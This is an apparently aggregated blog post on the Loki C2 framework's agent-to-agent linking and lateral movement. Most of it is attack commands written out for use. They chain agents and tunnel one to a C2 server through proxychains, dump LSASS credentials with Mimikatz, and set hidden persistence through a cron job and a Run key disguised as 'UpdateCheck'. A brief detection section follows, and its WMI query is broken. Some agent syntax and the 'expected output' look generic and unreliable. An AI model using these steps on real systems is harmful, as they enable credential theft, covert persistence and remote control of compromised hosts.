Loki C2: Agent Linking and Cross-Platform Pivoting

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Loki C2 has introduced advanced capabilities for agent-to-agent linking and cross-platform pivoting, enabling red teams to maintain persistence even without internet connectivity. This upgrade allows chaining of agents for deep network penetration and lateral movement.

🔗 GitHub Release: Loki C2 Update

You Should Know:

1. Agent Linking in Loki C2

Agents can now communicate directly, enabling:

  • Offline pivoting (no internet required for agent relay).
  • Cross-platform execution (Windows → Linux → macOS).

Example Commands for Agent Linking

 Start a new agent in listening mode (Linux) 
./loki_agent --listen --port 4444 --key "secret_key"

Connect a secondary agent to the first (Windows) 
loki_agent.exe --connect 192.168.1.100:4444 --key "secret_key"

2. Lateral Movement Techniques

Use Loki C2 to pivot through compromised systems:

 SSH pivoting from a compromised Linux host 
ssh -D 1080 user@compromised_host 
proxychains loki_agent --connect c2_server:443

3. Post-Exploitation with Loki

Extract credentials and move laterally:

 Dump LSASS on Windows (requires admin) 
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"' | Out-File loot.txt

4. Persistence Mechanisms

 Cronjob persistence (Linux) 
(crontab -l 2>/dev/null; echo "@reboot /tmp/.hidden/loki_agent") | crontab - 

 Windows Registry persistence 
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "UpdateCheck" /t REG_SZ /d "C:\Users\Public\loki_agent.exe"

What Undercode Say

Loki C2’s new agent-linking feature significantly enhances red team operations by enabling offline C2 channels and cross-platform pivoting. Security teams should monitor:
– Unusual internal host communications (agent-to-agent traffic).
– Anomalous process spawning (child agents).
– Unexpected proxy or tunnel setups.

Defensive Commands

 Detect Loki agents (Linux) 
netstat -tulnp | grep "loki_agent"

Hunt for persistence (Windows) 
Get-WmiObject -Query "SELECT  FROM Win32_StartupCommand"

Expected Output:

  • Successful agent linking ([+] Agent connected to peer).
  • Lateral movement via SSH/Proxychains.
  • Credential extraction logs (loot.txt).

Prediction

Loki C2 will likely inspire more open-source C2 frameworks with peer-to-peer agent support, increasing the need for advanced network segmentation and anomaly-based detection.

For more on C2 frameworks, check:

References:

Reported By: Bobby Cooke – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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